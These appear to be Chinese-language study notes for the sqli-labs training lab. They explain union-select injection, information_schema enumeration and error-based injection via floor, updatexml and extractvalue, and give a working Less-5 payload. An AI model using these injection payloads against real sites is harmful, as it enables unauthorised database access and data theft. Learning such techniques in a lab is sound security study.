sql-labs试炼:
基础方法
1、有关union select:
判断注入位。然后
前提条件:有显示位(即有数据库展示数据的位置)
常用方法:
group_concat():一次性打出
语句中夹杂的limit:sql在查询时,经常会出现多行结果,用limit可以限定打出的结果,比如仅仅打出第一行,就使用limit 0,1,想打出查询结果的第二行和第四行,用limit 1,3
mysql的information_schema库内含数据库的许多信息:
综合以上一般注入可以用到:
①、group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema=database() #表示 + 一次性打出 + 当前数据库的所有的表名,from语句必须放在union select 后面。
②、group_concat(column_name) from INFORMATION_SCHEMA.columns where table_schema=database() #表示 + 一次性打出 + 当前数据库的所有的col(列)
③、select concat((select database())):显示当前数据库名字,
④、substr(str,int,int):截取str字符串,从int位开始,截取int位,这里是从1开始,第一个字母为1
sql报错盲注:
三种方式:floor(输出长度64位),updatexml(32位,且payload返回不是xml格式),extractvalue(32位))
以下为sqllabs less5(利用floor):
①、爆出当前数据库、用户名:([1]是为了凑够一行)
id=1' union select count(*),[1],concat((select database()), floor(rand(0)*2))as a from information_schema.columns group by a --+
报错注入的例句,该句会爆出当前使用数据库的名称和一个1或者0的随机数:concat()连接函数,